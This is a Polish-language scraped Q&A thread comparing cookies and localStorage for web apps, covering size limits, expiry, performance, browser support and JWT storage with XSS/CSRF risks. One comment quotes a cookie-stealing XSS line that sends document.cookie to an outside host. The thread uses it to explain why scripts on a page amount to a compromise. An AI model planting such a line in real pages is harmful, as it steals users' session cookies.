Chcę skrócić czas ładowania na moich stronach, przenosząc wszystkie pliki cookie do pamięci lokalnej, ponieważ wydają się mieć tę samą funkcjonalność. Czy są jakieś plusy / minusy (szczególnie pod względem wydajności) w używaniu pamięci lokalnej do zastąpienia funkcji plików cookie, z wyjątkiem oczywistych problemów ze zgodnością?
html
cookies
httprequest
local-storage
Gio Borje
źródło
źródło
Odpowiedzi:
Pliki cookie i lokalne przechowywanie służą różnym celom. Pliki cookie służą przede wszystkim do odczytu po stronie serwera , pamięć lokalna może być odczytywana tylko po stronie klienta . Pytanie więc, w twojej aplikacji, kto potrzebuje tych danych - klienta czy serwera?
Jeśli to twój klient (JavaScript), to na pewno przełącz się. Marnujesz przepustowość, wysyłając wszystkie dane w każdym nagłówku HTTP.
Jeśli jest to twój serwer, lokalna pamięć masowa nie jest tak przydatna, ponieważ będziesz musiał jakoś przesłać dane (z Ajaxem lub ukrytymi polami formularza lub coś takiego). Może to być w porządku, jeśli serwer potrzebuje tylko małego podzbioru danych ogółem dla każdego żądania.
Mimo to będziesz chciał zostawić sesyjny plik cookie jako plik cookie.
Co do różnicy technicznej, a także mojego zrozumienia:
Oprócz tego, że są starym sposobem zapisywania danych, pliki cookie dają limit 4096 bajtów (w rzeczywistości 4095) - to na plik cookie. Pamięć lokalna ma wielkość 5 MB na domenę - SO Pytanie również o tym wspomina.
localStorage
jest implementacjąStorage
interfejsu. Przechowuje dane bez daty wygaśnięcia i jest usuwane tylko przez JavaScript lub czyszczenie pamięci podręcznej przeglądarki / danych przechowywanych lokalnie - w przeciwieństwie do wygaśnięcia plików cookie.źródło
sessionStorage
że plik cookie wygasa, dopóki przeglądarka nie zostanie zamknięta (nie karta). @darkporter, dzięki za odpowiedź. Chciałbym jednak usłyszeć różnicę techniczną między plikami cookie a pamięcią lokalną. czekam na twoją edycję.localStorage
pozostaje na kliencie, acookies
są wysyłane z nagłówkiem HTTP. To największa (ale nie jedyna) różnica między nimi.W kontekście JWT Stormpath napisał dość pomocny artykuł opisujący możliwe sposoby ich przechowywania oraz (nie) zalety każdej metody.
Zawiera także krótki przegląd ataków XSS i CSRF oraz sposobów ich zwalczania.
Załączam kilka krótkich fragmentów poniższego artykułu, na wypadek, gdyby ich artykuł został wyłączony z trybu offline / strona się nie wyświetla.
Lokalny magazyn
Problemy:
Zapobieganie:
Ciasteczka
Problemy:
Zapobieganie:
Pełny artykuł można znaleźć tutaj: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
Mają także pomocny artykuł o tym, jak najlepiej zaprojektować i wdrożyć JWT, w odniesieniu do samej struktury tokena: https://stormpath.com/blog/jwt-the-right-way/
źródło
localStorage
jest dostępny dla innych skryptów na stronie ... Ale tak jestXMLHttpRequest
... I tak, flaga HttpOnly chroni przed kradzieżą pliku cookie, ale przeglądarka nadal wysyła go automatycznie do pasującej domeny, więc ... w zasadzie, gdy masz złośliwe skrypty na twojej stronie jesteś już zhakowany.window.location = 'http://google.com?q=' + escape(document.cookie);
. Ten atak omija sprawdzenie CORS w przeglądarkach.Dzięki
localStorage
aplikacjom internetowym można przechowywać dane lokalnie w przeglądarce użytkownika. Przed HTML5 dane aplikacji musiały być przechowywane w plikach cookie, zawartych w każdym żądaniu serwera. Duże ilości danych można przechowywać lokalnie, bez wpływu na wydajność witryny. ChociażlocalStorage
jest bardziej nowoczesny, istnieją obie zalety i wady obu technik.Ciasteczka
Plusy
Cons
Lokalny magazyn
Plusy
Cons
localStorage
użycie jest prawie identyczne jak w przypadku sesji pierwszej. Mają dość dokładne metody, więc przejście z sesji na sesjęlocalStorage
jest naprawdę dziecinnie proste. Jeśli jednak przechowywane dane są naprawdę kluczowe dla Twojej aplikacji, prawdopodobnie użyjesz plików cookie jako kopii zapasowej na wypadek, gdybylocalStorage
nie były dostępne. Jeśli chcesz sprawdzić obsługę przeglądarkilocalStorage
, wystarczy uruchomić ten prosty skrypt:źródło
Szybkość lokalnej pamięci zależy w dużej mierze od przeglądarki, z której korzysta klient, a także od systemu operacyjnego. Chrome lub Safari na Macu mogą być znacznie szybsze niż Firefox na PC, szczególnie z nowszymi interfejsami API. Jak zawsze jednak testowanie jest twoim przyjacielem (nie mogłem znaleźć żadnych testów porównawczych).
Naprawdę nie widzę dużej różnicy w plikach cookie w porównaniu z pamięcią lokalną. Ponadto powinieneś bardziej martwić się problemami ze zgodnością: nie wszystkie przeglądarki zaczęły nawet obsługiwać nowe interfejsy API HTML5, więc pliki cookie byłyby najlepszym wyborem pod względem szybkości i zgodności.
źródło
Warto również wspomnieć, że
localStorage
nie można z niego korzystać, gdy użytkownicy przeglądają w trybie „prywatnym” w niektórych wersjach mobilnego Safari.Cytat z MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):
źródło
Lokalna pamięć masowa może przechowywać do 5 MB danych offline, podczas gdy sesja może również przechowywać do 5 MB danych. Ale pliki cookie mogą przechowywać tylko dane 4 KB w formacie tekstowym.
Dane do przechowywania LOCAl i Session w formacie JSON, dzięki czemu można je łatwo przeanalizować. Ale pliki cookie mają format ciągów.
źródło
Ciasteczka :
Lokalny magazyn:
źródło